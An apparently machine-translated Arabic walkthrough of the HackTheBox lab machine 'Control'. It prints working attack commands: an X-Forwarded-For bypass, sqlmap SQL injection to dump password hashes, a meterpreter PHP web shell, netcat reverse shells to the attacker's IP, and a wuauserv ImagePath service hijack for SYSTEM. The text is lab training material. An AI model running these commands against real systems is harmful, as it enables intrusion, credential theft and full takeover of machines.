أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .في هذه المقالة ، اخترقنا النظام من خلال إدخال SQL ، والتعمق في تاريخ سطر الأوامر وزيادة امتيازاتنا بفضل الحقوق في الخدمة.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.167 ، والذي أضيفه إلى / etc / hosts.10.10.10.167 control.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A control.htb -p80,135,3306,49667,49666
يقوم المضيف بتشغيل خادم ويب. دعونا نرى ما هناك.
ونرى أن هناك رابطًا إلى لوحة المشرف. ولكننا نعلم أنه لا يوجد رأس ويجب أن نتواصل من خلال وكيل.
في نفس الوقت ، في التعليمات البرمجية المصدر لصفحة البدء نجد الرسالة:
بمقارنة ما تحتاجه لاستخدام الوكيل والعنوان الموجود ، نفترض أنك بحاجة إلى المرور بها. يتم عرض الوكيل في بروتوكول HTTP في رأس x-forwarded-for. دعونا نكشف ذلك.
وننتقل بنجاح إلى صفحة المسؤول. دعنا نذهب عبر المتصفح.
ولكن عندما تحاول القيام بشيء ما ، سيرموننا على صفحة برسالة وكيل. هذا لأننا لا نستبدل العنوان الموجود. لكي لا تفعل ذلك في كل مرة في Burp Suite ، في علامة التبويب Proxy -> Options ، نجد وظيفة "Match and Replace".
وإضافة إدخال جديد سيضيف هذا العنوان تلقائيًا إلى جميع الطلبات الصادرة.
واختبار مجال البحث نجد حقن SQL.
للتشغيل نستخدم sqlmap. لنحفظ هذا الطلب في ملف (نسخ إلى ملف) ونشغل sqlmap ، ونمرر هذا الملف كمعلمة.sqlmap -r headers.req
نقطة الدخولدعنا نرى ما هي قواعد البيانات المتوفرة.sqlmap -r headers.req --dbs
دعنا نتعرف على بيانات الاعتماد المتوفرة. دعونا نرى جميع الجداول في قاعدة بيانات الخلية.sqlmap -r headers.req -D mysql --tables
لذلك نحن مهتمون بجدول المستخدم. دعنا نحصل على أسماء جميع الأعمدة.sqlmap -r headers.req -D mysql -T user --columns
من بين جميع الأعمدة ، الأكثر إثارة للاهتمام هي المستخدم وكلمة المرور. نتعلم ما فيها.sqlmap -r headers.req -D mysql -T user -C User,Password --dump
تحتوي قاعدة البيانات على العديد من المستخدمين. تقدم Sqlmap للقضاء على التجزئة. نختار هجوم القاموس ، ونشير إلى أننا نريد استخدام قاموسنا وكتابة المسار إلى rockyou.
بعد بضع ثوانٍ ، سيتم تزويدنا بجدول بأسماء المستخدمين وتجزئة كلمات المرور الخاصة بهم. إذا تمكن sqlmap من كسر كلمة المرور ، فسيشير إليها بجوار التجزئة بين قوسين. كما ترون ، لدينا أوراق اعتماد المستخدم المستخدم.
لم أستطع الحصول على الصدفة باستخدام sqlmap ، ولكن كتابة الملفات. دعونا نشر مشى الويب. أولاً ، نقوم بإنشاء حمل جهاز القياس بتنسيق PHP.msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
الآن اكتبه باستخدام sqlmap إلى دليل خادم الويب.sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
تمت كتابة الملف بنجاح. قم بتشغيل المستمع.
وانتقل إلى ملفك على خادم الويب.curl http://control.htb/r.php
في نافذة Metasploit ، نلاحظ اتصالًا ناجحًا.
انتقل إلى هذه الجلسة.
ولكن هنا تكمن المشكلة في أننا لا نستطيع تنفيذ الأوامر من خلال الصدفة. بالإضافة إلى ذلك ، فإن هذه المحاولات تعيد ضبط الاتصال. دعنا نحاول تجاوز القفل من خلال إنشاء عملية powerhell في الوضع التفاعلي (-i) المخفي من العرض (-H) وتمرير أمرنا كمعلمات (-a). دعنا نكتشف أي مستخدم نعمل.
المستعمل
لدينا أوراق اعتماد هيكتور ، سنكتشف ما إذا كان هناك مثل هذا المستخدم في النظام.
هناك مثل هذا المستخدم! لكن أولاً ، اكتشف اسم السيارة.
لدينا اسم مستخدم وكلمة مرور ومجال واسم الجهاز. الآن دعونا نتحقق مما إذا كانت أوراق الاعتماد التي تلقيناها مناسبة. للقيام بذلك ، قم بتنفيذ "whoami" نيابة عن Hector.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
غرامة. دعونا نحصل على القشرة. قم بتشغيل خادم الويب على المضيف المحلي.python3 -m http.server 80
وتحميلها إلى مضيف Netcat البعيد.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
الآن افتح منفذ 5432. nc -lvp 5432 والقيام بالاتصال العكسي من المضيف البعيد.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
لذلك نأخذ المستخدم.
جذر
بعد ذلك ، عندما تحاول تحميل إحدى وسائل جمع المعلومات من المضيف إلى المضيف (مثل BloodHound و PowerUp و JAWS و WinPEAS ) ، نلاحظ أن المدافع يزيلها. لكن WinPEAS لديه إصدار مضرب لا يمكن إلغاء تثبيته. نقوم بتحميله على المضيف وتشغيله. علاوة على ذلك ، من الضروري فقط مراجعة المعلومات التي تم جمعها بعناية. ونجد ملف ملف ملف ConsoleHost_history.txt مثيرًا للاهتمام.
انظر إلى محتوياته .
هذه الفرق هي الشيء الوحيد الذي لدينا. يسترد Get-Acl cmdlet الكائنات التي تمثل واصف أمان لملف أو مورد. يحتوي واصف الأمان على قوائم التحكم في الوصول إلى الموارد (ACL). تحتوي قائمة التحكم بالوصول (ACL) على الأذونات المطلوبة من قبل المستخدمين ومجموعات المستخدمين للوصول إلى المورد. وهكذا ، قررت أن مسار الحل يكمن في الخدمات والوصول إليها. دعنا نحصل على جميع خدمات وأذونات هيكتور لهم.get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
بالنظر إلى الإخراج ، نلاحظ أن Hector لديه حقوق كاملة لخدمة تحديث Windows - wuauserv.
تعمل الخدمات في نظام تشغيل Windows بامتيازات النظام. عند تسجيل خدمة في النظام ، فإن المسار إلى الملف التنفيذي للخدمة محمي في سمة ImagePath. دعنا نغير قيمة هذه السمة ونحمل الصدفة.reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
الآن قم بتشغيل خدمة التحديث.start-service wuauserv
ونحصل على قشرة بامتيازات قصوى.
يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.